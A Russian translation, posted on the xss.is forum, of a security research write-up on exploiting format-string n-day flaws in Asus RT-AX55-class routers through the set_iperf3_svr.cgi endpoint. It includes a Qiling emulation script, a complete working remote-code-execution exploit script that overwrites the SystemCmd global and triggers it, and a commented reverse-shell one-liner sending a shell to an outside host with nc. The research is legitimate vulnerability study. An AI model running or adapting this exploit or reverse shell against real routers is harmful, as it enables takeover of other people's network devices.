Охота за n-day уязвимостями без аутентификации в маршрутизаторах Asus

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Источник: https://www.shielder.com/blog/2024/01/hunting-for-~~un~~authenticated-n-days-in-asus-routers/
Перевёл: BLUA специально для xss.is

После прочтения в интернете подробностей о несольких опубликованных критических уязвимостях CVE, затрагивающих маршрутизаторы ASUS, мы решили проанлизировать уязвимую прошивку и, возможно, написат эксплойт для n-day уязвимости. Мы определили уязвимый фрагмент кода и успешно написали эксплойт для получения удалённого выполнения кода. Однако мы также обнаружили, что в реальных устройствах свойство "Удалённая неаутентифицированная" уязвимость не всегда соответствует действительности, в зависимости от текущей конфигурации устройств.

Введение

Прошлый год был отличным для безопасности IoT-устройств и маршрутизаторов. Множество устройтсв были взломаны, и было выпущено много уязвимостей CVE. Поскольку @suidpit и я любим заниматься исследованием путей реерс-инжиринга IoT-устройств, а большинство этих CVE ещё не имели подробной публичной информации или доказательств концепции, у нас появилась возможность применит подход CVE North Stars от clearbluejar.

В частности, мы выбрали следующие уязвимости CVE, затрагивающие ращличные маршрутизаторы Asus для малого офиса и домашнего использования(SOHO):
- https://nvd.nist.gov/vuln/detail/CVE-2023-39238
- https://nvd.nist.gov/vuln/detail/CVE-2023-39239
- https://nvd.nist.gov/vuln/detail/CVE-2023-39240

Утверждения в описаниях CVE были довольно смелыми, но мы вспомнили некоторые CVE, опубликованные за несколько месяцев до этого для тех же устройств(например CVE-2023-35086), которые описывали другие строковые форматы в точно таком же сценарии:

Неаутентифицированный удалённый злоумышленник может воспользоваться этой уязвимостью без привилегий для выполнения произвольного кода удалённо.
Нажмите, чтобы раскрыть...

Обратите пристальное внимание на эти заявления, так как они будут основой всех наших предположений с этого момента!

Из деталей CVE мы уже можем извлечь интересную информацию, такую как затронутые устройства и версии. Следующие версии прошивки содержат патчи для каждого устройства:
- Asus RT-AX55: 3.0.0.4.386_51948 и позже
- Asus RT-AX56U_V2: 3.0.0.4.386_51948 и позже
- Asus RT-AC86U: 3.0.0.4.386_51915 и позже

Кроме того, мы можем узнать, что уязвимость предположительно связана с форматной строкой, и что хатронутыми модулями являются set_iperf3_cli.gli, set_iperf3_svg.cgi и apply.cgi.

Поскольку у нас не было опыта работы с устройствами Asus, мы начали с загрузки уязвимых и исправленных версий прошивки с сайта производителя.

Сравнение патчей с помощью BinDiff

Получив прошивку, мы приступили к её извлечению с помощью Unblob.

С помощью быстрого поиска с использованием find/ripgrep мы выяснили, что затронутые модули - это не CGI-файлы, как можно было бы ожидать, а скомпилированные функции, обрабатываемые внутри бинарного файла /usr/sbin/httpd.

Затем мы загрузили новый и старый бинарные файлы httpd в Ghidra, проанализировали их и экспортировали соответствующую информацию с помощью BinExport от BinDiff для выполнения сравнения патчей.

Сравнение патчей сопоставляет уязвимую версию бинарного файла с исправлением. Цель состоит в том, чтобы выделить изменения, помогая обнаружить новые, отсутствующие и интересные функции в различных версиях бинарного файла.
Нажмите, чтобы раскрыть...

Сравнение патчей бинарного файла httpd выявило некоторые изменения, но ни одно из них не оказалось интересным для наших целей. В частности, если мы посмотрим на обработчики уязвимых модулей CGI, то увидим, что они вовсе не были изменены.

1.png



2.png



Интересно, что все они имели общую схему. Входные данные функции notify_rc не были исправлены и поступали из управляемого пользователем JSON-запроса:
Код: Скопировать в буфер обмена
money_with_wings

Функция notify_rc определена в /usr/lib/libshared.so: это объясняет, почему сравнение бинарного файла httpd было неэффективным.

Сравнение libshared.so привело к интересному открытию: в первых нескольких строках функции notify_rc была добавлена вызов новый функций под названием validate_rc_service. На этом этапе мы были практически уверены, что именно эта функция отвечает за исправление уязвимости форматной строки.

3.png



4.png



Функция validate_rc_service выполняет проверку синтаксиса на поле rc_service в формате JSON. Декомилированный код в Ghidra не так просто читать: по сути, функция возвращает 1, если строка rc_service содержит только буквенно-цифровые символы, пробелы или символы _ и ;, и возвращает 0 в противном случае.

Очевидно, в нашей уявзвимой прошивке мы можем использовать уязвимость форматной строки, контролируя содержимое поля rc_service. У нас ещё не было устройства, чтобы это подтвердить, но мы не хотели тратить время и деньги, если это тупиковый путь. Давайте эмулировать!

Вход дракона: эмуляция с помощью Qiling

Если вы нас знаете, то, вероятнее, знаете, что мы обожаем Qiling, поэтому нашей первой мыслью было: "А что, если мы попробуем эмулировать прошивку с помощью Qiling и воспроизвести уязвимость там?".

Начиная с базового проекта Qiling, к сожалению, httpd завершается с ошибками и сообщает о различных ошибках.

В частности, устройства Asus используют переферийное устройство NVRAM для хранения множества настроек. Ребят из firmadyne разработали библиотеку для эмуляции этого поведения, но нам не удалось заставить её работать, поэтому мы решели реализовать её заново в нашем скрипте для Qiling.

Скрипт создаёт структуру в куче, а затем перехватывает все функции, используемые httpd для чтения/записи в NVRAM, перенаправляя их на структуру в куче.

После этого на оставалось только исправить реализацию некоторых незначительных системных вызовов и хуков, и вуаля! Мы смогли загрузить эмулированный веб-интерфейс роутера в наших браузерах.

5.png



Тем временем мы реверс-инжинировали функции do_set_iperf3_srv_cgi/do_set_iperf3_cli_cgi, чтобы понять, какой тип ввода нам нужно отправить вместе с форматной строкой.

Оказалось, что следующий JSON - это всё, что вам нужно, чтобы использовать уязвимость в конечной точке set_iperf3_srv.cgi:
6.png



И нас встретил следующий вывод в консоли Qiling:
7.png



На этом этапе уязвимость формата строки была подтвержена, и мы знали, как её активировать с помощью эмуляции прошивки в Qiling. Более того, мы выяснили, что исправление включало вызов функции validate_rc_message в функции notify_rc, экспортируемой библиотекой libshared.co. С целью создания рабочего n-day эксплойта для реального устройства мы приобрели одно из целевых устройств(ASUS RT-AX55) и начали анализировать уязвимость, чтобы понять её корневую причину и как её контролировать.

Анализ первопричины

Поскольку исправление было добавлено в функции notify_rc, мы начали с реверс-инжиниринга ассемблеа этой функции в старой уязвимой версии. Ниже приведён фрагмент псевдокода из этой фукнции:
8.png



Функция, по-видимому, отвечает за регистрацию сообщений, поступающих из рщличных источников, через единую централизованную точку вывода.

Функция logmessage_normal является частью той же библиотеки, и её код довольно просто подвергнть обратной разработке:
9.png



Хотя Ghidra, похоже, не может ✨автоматически✨ распознать список переменных аргументов, функция является оболочкой вокруг syslog, и она занимается открытием выбранного журнала, отправкой сообщения и, наконец, его закрытием.

Уязвимость находится в этой функции, а именно в использовании функции syslog со строкой, которую может контролировать злоумышленник. Чтобы понять, почему это происходит, давайте рассмотрим её сигнатуру из руководства по libc:
Код: Скопировать в буфер обмена
void syslog(int priority, const char *format, ...);

Согласно её сигнатуре, syslog ожидает список аргументов, похожий на таковой у функций семейства *printf. Быстрый поиск показывает, что эта функция действительно является известным источником уязвимостей форматных строк.

Эксплуатация - использование существующих системных процессов

Уязвимости форматных строк весьма полезны для злоумышленников, так как обычно они предоставляют примитивы произвольного чтения/записи. В данном случае, поскольку вывод записывается в системный журнал, который доступен только администраторам, мы предполагаем, что неаутентифицированный удаленный злоумышленник не сможет прочитать журнал, таким образом теряя примитив "чтения" для эксплуатации.

ASLR включен в операционной системе маршрутизатора, а меры по защите, реализованные во время компиляции для данного бинарного файла, перечислены ниже:
10.png



Согласно этому сценарию, типичный способ разработки эксплойта будет состоять в поиске подходящей цели для перезаписи GOT, попытке найти функцию, которая принимает ввод, контролируемый пользователем, и перенаправлении её на system.

Тем не менее, в духе концепции "Living Off The Land" мы потратили некоторое время на поиск другого подхода, который не нарушал бы внутреннюю структуру процесса, а вместо этого использовал бы уже реализованную в бинарном файле логику для достижения чего-то полезного (а именно, получения шела).

Одной из первых вещей, которую следовало искать в бинарном файле, было место, где вызывается функция system, в надежде найти хорошие точки для инъекции, чтобы направить нашу мощную примитивную запись.

Среди множества результатов этого поиска один фрагмент кода показался достойным более детального изучения:
11.png



Давайте кратко прокомментируем этот код, чтобы понять важные моменты:
- SystemCmd — это глобальная переменная, которая содержит строку.
- Когда sys_script вызывается с аргументом syscmd.s, он передает любую команду, находящуюся в SystemCmd, в системную функцию, а затем снова обнуляет глобальную переменную.

Это кажется хорошей целью для эксплуатации, при условии, что мы, как злоумышленники, можем:
1. Перезаписать содержимое SystemCmd.
2. Вызвать функцию sys_script("syscmd.sh").

Пункт 1 достигается за счет уязвимости формата строки: так как бинарный файл не является позиционно-независимым, адрес глобальной переменной SystemCmd жестко закодирован в бинарнике, поэтому нам не нужны утечки для записи в него. В нашей уязвимой прошивке смещение для глобальной переменной SystemCmd составляет 0x0f3ecc.

Что касается пункта 2, некоторые конечные точки в веб-интерфейсе используются для легитимного выполнения команд через функцию sys_script. Эти конечные точки вызывают следующую функцию с именем ej_dump всякий раз, когда выполняется запрос GET:
12.png



Таким образом, после перезаписи глобальной переменной SystemCmd, достаточно просто посетить Main_Analysis_Content.asp или Main_Netstat_Content.asp, чтобы запустить наш эксплойт.

Шелл за ваши мысли

Мы избавим вас от базового курса по эксплуатации строк формата, просто помните, что с помощью %n вы можете записать количество символов, напечатанных до этого момента, по адресу, на который указывает его смещение.

Оказалось, у нас было несколько ограничений: некоторые из них типичны для эксплуатации уязвимостей, связанных со строками формата, а другие специфичны для нашего сценария.

Первая проблема заключается в том, что полезная нагрузка должна быть отправлена внутри JSON-объекта, поэтому нам нужно избежать "нарушения" структуры JSON, иначе парсер выдаст ошибку. К счастью, мы можем использовать комбинацию из необработанных байтов, вставленных в тело (принимаемых парсером), двойного кодирования (%25 вместо % для внедрения спецификаторов формата) и кодирования нулевого байта, завершающего адрес, в формате UTF (\u0000).

Вторая проблема заключается в том, что после декодирования наша полезная нагрузка сохраняется в строке C, поэтому нулевые байты завершат её преждевременно. Это означает, что мы можем использовать только один нулевой байт, и он должен находиться в конце нашей строки формата.

Третья проблема заключается в том, что существует ограничение на длину строки формата. Мы можем обойти это, записывая по несколько байтов за раз с помощью формата %hn.

Четвёртая проблема (да, ещё больше проблем) заключается в том, что в строке формата перед нашим вводом находится переменное количество символов, что нарушает подсчёт символов, которые %hn будет учитывать и затем записывать по нашему целевому адресу. Это происходит потому, что функция logmessage_normal вызывается с именем процесса (либо httpd, либо httpsd) и pid (от 1 до 5 символов) в качестве аргументов.

Наконец, наш вредоносный код был готов, всё было идеально отточено, пришло время выполнить эксплойт и получить доступ к оболочке на нашем устройстве...

13.png



Быть или не быть аутентифицированным

Отправка нашего вредоносного кода без какого-либо файла cookie приводит к перенаправлению на страницу входа!

На этом этапе мы были в полном шоке. В отчетах CVE упоминается «неаутентифицированный удаленный злоумышленник», и наша эксплуатация против эмулятора Qiling работала нормально без какой-либо аутентификации. Что пошло не так?

Во время эмуляции с помощью Qiling перед покупкой реального устройства мы скачали дамп состояния NVRAM из интернета. Если процесс httpd загружал ключи, которые отсутствовали в дампе, мы автоматически устанавливали их в пустые строки, а некоторые вручную корректировали в случае явного сбоя или ошибки сегментации (Segfault).

Оказалось, что важный ключ под названием x_Setting определяет, настроен ли роутер или нет. На основе этого ключа доступ к большинству конечных точек CGI включается или отключается. Состояние NVRAM, которое мы использовали в Qiling, содержало ключ x_Setting, установленный в 0, в то время как на нашем реальном устройстве (обычно настроенном) он был установлен в 1.

Но подождите, это еще не все!

Мы исследовали ранее сообщенные уязвимости формата строки, затрагивающие другие конечные точки, чтобы протестировать их на нашем оборудовании. Мы нашли эксплойты в сети, которые устанавливают заголовки Referer и Origin на целевой хост, в то время как другие работают, отправляя простые GET-запросы вместо POST с телом в формате JSON. Наконец, чтобы как можно точнее воспроизвести их настройку, мы даже эмулировали прошивки других устройств (например, Asus RT-AX86U).

Ни один из них не сработал в среде, где в NVRAM было установлено x_Setting=1.

И знаете что? Если маршрутизатор не настроен, интерфейс WAN не доступен удаленно, что делает его недоступным для злоумышленников.

Выводы

Это исследование оставило у нас горькое послевкусие.

На данный момент шансы таковы:
1. Существует дополнительная уязвимость обхода аутентификации, которая все еще не исправлена 👀 и поэтому не отображается в различиях.
2. «Неаутентифицированный удаленный злоумышленник», упомянутый в CVE, относится к сценарию, похожему на CSRF.
3. Все предыдущие исследователи обнаружили уязвимости, эмулируя прошивку без учета содержимого NVRAM.

В любом случае, мы публикуем наш PoC-код эксплойта и скрипт эмулятора Qiling в нашем репозитории PoC на GitHub.

скрипт эмуляции (Qiling >=1.4.7)
Python: Скопировать в буфер обмена
Код:
#!/usr/bin/env python3

import os
import sys
import struct
import json

import sys
sys.path.append("..")

from qiling import Qiling
from qiling.os.memory import QlMemoryHeap
from qiling.os.posix.filestruct import ql_socket
from qiling.os.posix import syscall
from qiling.os.posix.const import *
from qiling.os.posix.filestruct import ql_socket
from qiling.os.posix.syscall.unistd import virtual_abspath_at, get_opened_fd
from qiling.os.posix.syscall.socket import __host_socket_level, __host_socket_option
from qiling.extensions.coverage.utils import collect_coverage
from qiling.const import QL_VERBOSE
from qiling.os.const import STRING, INT

DEBUG = False

def pdebug(*args, **kwargs):
    if DEBUG:
        print(*args, **kwargs)

def alloc(ql, param):
    addr = ql.os.heap.alloc(len(param)+1)
    ql.mem.string(addr, param + '\0')
    return addr

def free(ql, param):
    return ql.os.heap.free(param)

class NVRam(object):
    _default_storage = {
        "odmpid": "RT-AX55",
        "productid": "RT-AX55",
    }
    _storage = dict()
    def __init__(self, ql, path=None, fail=False) -> None:
        self.ql = ql
        self.fail = fail
        for k in self._default_storage:
            addr = alloc(self.ql, self._default_storage[k])
            self._storage[k] = addr
        if path:
            self.load_file(path)

    def load_file(self, path):
        file_storage = json.load(open(path, 'r'))
        for k in file_storage:
            addr = alloc(self.ql, file_storage[k])
            self._storage[k] = addr

    def get(self, name):
        if name in self._storage:
            x = self._storage[name]
            return x
        else:
            if self.fail:
                raise AttributeError(name)
            return alloc(self.ql, "\0")

    def get_int(self, name):
        value = self.ql.mem.string(self.get(name))
        try:
            return int(value, 10)
        except ValueError:
            return 0

    def set(self, name, value):
        addr = alloc(self.ql, value)
        self._storage[name] = addr
        return 0
 
    def set_int(self, name, value):
        self.set(name, str(value))
        return 0

    def unset(self, name):
        if name in self._storage:
            free(self.ql, self._storage[name])
        else:
            if self.fail:
                raise AttributeError(name)


def ql_syscall_nanosleep(ql, nanosleep_req, nanosleep_rem, *args, **kw):
    return 0

def ql_syscall_write(ql, write_fd, write_buf, write_count, *rest):
    if write_fd == 2 and ql.os.fd[2].__class__.__name__ == 'ql_pipe':
        return -1

    f = get_opened_fd(ql.os, write_fd)
    data = ql.mem.read(write_buf, write_count)
    name = f.getsockname() if type(f) is ql_socket else f.name
    if write_fd == 2:
        return -1
    else:
        print(f'write(): {data.decode()}')
    #if b" socke " in data:
    #    raise KeyboardInterrupt()
    return syscall.ql_syscall_write(ql, write_fd, write_buf, write_count, *rest)

def ql_syscall_read(ql: Qiling, fd, buf: int, length: int):
    f = get_opened_fd(ql.os, fd)
    if f is None:
        return -1

    try:
        data = f.read(length)
        ql.mem.write(buf, data)
    except BlockingIOError as e:
        print(e)
        regreturn = -EBADF
    except Exception as e:
        print(e)
        regreturn = -EBADF
    else:
        print(f'read(): {data!r}')
        regreturn = len(data)

    return regreturn

def ql_syscall_lseek(ql: Qiling, fd: int, offset_high: int, offset_low: int, result: int, whence: int):
    offset = ql.unpack64s(ql.pack64((offset_high << 32) | offset_low))

    if fd not in range(NR_OPEN):
        regreturn = -1

    f = ql.os.fd[fd]

    if f is None:
        regreturn = -1

    ret = 0
    return 200
    if type(f) is ql_socket:
        ql.mem.write_ptr(result, ret, 8)
 
    else:
        try:
            ret = f.seek(offset, whence)
        except OSError:
            regreturn = -1
        else:
            ql.mem.write_ptr(result, ret, 8)
            regreturn = 0

    return regreturn

def hook_do_set_iperf3_srv(ql):
    pdebug('hook_do_set_iperf3_srv')
    pdebug(hex(ql.arch.regs.arch_pc))
    post_json_buf = 0x000a1d14
    #ql.mem.string(post_json_buf, "{'iperf3_svr_port': '8888', 'rc_service': '%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%n%n%n%n%n%n%n%n%n%n%n%n%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p'}")
    pdebug(ql.mem.string(post_json_buf))
    #ql.hook_code(tracer)

def hook_nvram_get(ql):
    pdebug('hook_nvram_get')
    params = ql.os.resolve_fcall_params({'key': STRING})
    value = ql.nvram.get(params["key"])
    pdebug(f'{params["key"]} ({hex(ql.arch.regs.r0)}) = {ql.mem.string(value)}')
    ql.arch.regs.r0 = value

def hook_nvram_set(ql):
    pdebug('hook_nvram_set')
    params = ql.os.resolve_fcall_params({'key': STRING,'value': STRING})
    value = ql.nvram.set(params["key"], params["value"])
    pdebug(f'{params["key"]} ({hex(ql.arch.regs.r0)}) = {params["value"]}')
    ql.arch.regs.r0 = value

def hook_nvram_unset(ql):
    pdebug('hook_nvram_unset')
    params = ql.os.resolve_fcall_params({'key': STRING})
    pdebug(f'{params["key"]} ({hex(ql.arch.regs.r0)}) = ""')
    ql.nvram.unset(params["key"])
    ql.arch.regs.r0 = 0

def hook_nvram_get_int(ql):
    pdebug('hook_nvram_get_int')
    params = ql.os.resolve_fcall_params({'key': STRING})
    value = ql.nvram.get_int(params["key"])
    pdebug(f'{params["key"]} ({hex(ql.arch.regs.r0)}) = {value}')
    ql.arch.regs.r0 = value

def hook_nvram_set_int(ql):
    pdebug('hook_nvram_set_int')
    params = ql.os.resolve_fcall_params({'key': STRING,'value':INT})
    value = ql.nvram.set_int(params["key"], params["value"])
    pdebug(f'{params["key"]} ({hex(ql.arch.regs.r0)}) = {params["value"]}')
    ql.arch.regs.r0 = value

def hook_nvram_commit(ql):
    pdebug('hook_nvram_commit')
    ql.arch.regs.r0 = 1

def hook_nvram_match(ql):
    pdebug('hook_nvram_match')
    params = ql.os.resolve_fcall_params({'key': STRING,'value':STRING})
    value = ql.nvram.get(params["key"])
    pdebug(f'{params["key"]} ({hex(ql.arch.regs.r0)}) = ({ql.mem.string(value)} == {params["value"]})')
    ql.arch.regs.r0 = (ql.mem.string(value) == params["value"])

def my_sandbox(path, rootfs, verbose=QL_VERBOSE.DEFAULT):
    ql = Qiling(path, rootfs, verbose=verbose, multithread=True)

    ql.debugger = False
    #ql.debugger = "gdb:0.0.0.0:9999"

    heap_address = 0x6ff0d000
    heap_size = 0x30000
    ql.os.heap = QlMemoryHeap(ql, heap_address, heap_address + heap_size)
    ql.nvram = NVRam(ql, "nvram.json", fail=False)

    ql.os.set_syscall("nanosleep", ql_syscall_nanosleep)
    ql.os.set_syscall("_llseek", ql_syscall_lseek)
    ql.os.set_syscall("write", ql_syscall_write)
    ql.os.set_syscall("read", ql_syscall_read)
 
    ql.hook_address(hook_do_set_iperf3_srv, 0x420e0)

    ql.os.set_api('nvram_get', hook_nvram_get)
    ql.os.set_api('nvram_set', hook_nvram_set)
    ql.os.set_api('nvram_unset', hook_nvram_unset)
    ql.os.set_api('nvram_get_int', hook_nvram_get_int)
    ql.os.set_api('nvram_set_int', hook_nvram_set_int)
    ql.os.set_api('nvram_commit', hook_nvram_commit)
    ql.os.set_api('nvram_match', hook_nvram_match)
 
    with collect_coverage(ql, 'ezcov', 'output_ez.cov'):
        ql.run()
 

if __name__ == "__main__":
    try:
        os.remove("_RT-AX55_51598/squashfs-root/var/run/httpd.pid")
        os.remove("_RT-AX55_51598/squashfs-root/var/run/httpd.lock")
    except FileNotFoundError:
        pass
    verbose = QL_VERBOSE.OFF
    if len(sys.argv) == 2:
        verbose = QL_VERBOSE.DEBUG
    my_sandbox(["_RT-AX55_51598/squashfs-root/usr/sbin/httpd"], "_RT-AX55_51598/squashfs-root/", verbose=verbose)

PoC

exploit.py [-h] --url URL --credentials CREDENTIALS --cmd CMD

Python: Скопировать в буфер обмена
Код:
import requests
import struct
import base64
import re
from argparse import ArgumentParser

from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

SYSTEMCMD_ADDR = 0x0f3ecc

def send_payload(host, session, body):
    try:
        r = session.post(f"{host}/set_iperf3_svr.cgi", data=body)
        if "window.top.location.href='/Main_Login.asp'" in r.text:
            print("Invalid auth token or UserAgent")
            exit(-1)
        return r
    except requests.exceptions.ConnectionError as e:
        if 'RemoteDisconnected' in str(e):
            print("Remote Disconnected: something went wrong and the httpd daemon crashed. It will be back soon.")
        else:
            print(e)
        exit(-1)

def fmtstr(where, what, is_httpds=False, pid_len=5):
    if len(what)!=2:
        raise ValueError('what too big')
    size = 0x16
    where = struct.pack('<I', where).replace(b'\x00', b'\\u0000').replace(b'"', b'\\u0022')
    what = struct.unpack('<h', what.encode())[0] - size - (1 if is_httpds else 0) + (5 - pid_len)
    psize = (13 if is_httpds else 14) - len(str(what)) + (5 - pid_len)
    x = f"{{\"iperf3_svr_port\": 8080, \"rc_service\": \"%25{what}c%25{hex(size)[2:]}$hn{'A'*psize}where\"}}"
    # UTF-8 sucks
    return x.encode().replace(b'where', where)

def execute(host, session, cmd, is_httpds=False, pid_len=5):
    print("Executing: ", end='')
    if len(cmd)>2:
        cmd = list(cmd[0+i:2+i].ljust(2, '\x00') for i in range(0, len(cmd), 2))
    else:
        cmd = [cmd.ljust(2, '\x00')]

    for offset, part in enumerate(cmd):
        body = fmtstr(SYSTEMCMD_ADDR + offset * 2, part, is_httpds, pid_len)
        send_payload(host, session, body)
        print(part, end='')
    print('')


parser = ArgumentParser()
parser.add_argument('--url', required=True, help='The URL of the target')
parser.add_argument('--credentials', required=True, help='The authentication credentials')
parser.add_argument('--cmd', required=True, help='The command to execute')
args = parser.parse_args()

host = args.url
if not host.startswith('http'):
    exit("URL must starts with http or https")
if host[-1] == '/':
    host = host[:-1]

session = requests.Session()
session.verify=False
session.proxies={'http': '127.0.0.1:8080', 'https': '127.0.0.1:8080'}

# UserAgent is required during auth
user_agent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:122.0) Gecko/20100101 Firefox/122.0"
session.headers.update({"User-Agent": user_agent, "Referer": f"{host}/"})

print("Performing login")

basic_auth = base64.b64encode(args.credentials.encode()).decode()
login_data = {"group_id": '', "action_mode": '', "action_script": '', "action_wait": "5", "current_page": "Main_Login.asp", "next_page": "index.asp", "login_authorization": basic_auth, "login_captcha": ''}
r = session.post(f"{host}/login.cgi", data=login_data)
if not "url=index.asp" in r.text:
    exit("Unknown error during login")

print("Testing vulnerable endpoint")

r = send_payload(host, session, {"iperf3_svr_port": 8080, "rc_service": "!!test!!"})
if '{"statusCode":"200"}' not in r.text:
    print(r.text)
    exit("Error in iperf3 endpoint")

print("Getting process name and pid from syslog")

r = session.get(f"{host}/appGet.cgi?hook=nvram_dump(%22syslog.log%22,%22syslog.sh%22)")
p = re.compile(r"rc_service:\s(\w+)\s(\d+):notify_rc !!test!!")
last_match = list(p.finditer(r.text))[-1]
is_httpds = last_match.group(1) == 'httpds'
pid_len = len(last_match.group(2))

print("Sending command parts")

execute(host, session, args.cmd, is_httpds, pid_len)

print("Exploit armed!")

session.get(f"{host}/Main_Analysis_Content.asp")

print("Exploit nuked.")

print("=================\nOutput:\n")

r = session.get(f"{host}/cmdRet_check.htm")
out = r.text
if out[:3].encode() == b"\xc3\xaf\xc2\xbb\xc2\xbf":
    print(out[3:])

# rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.42.102.133 7777 > /tmp/f


14.png
 
Сверху Снизу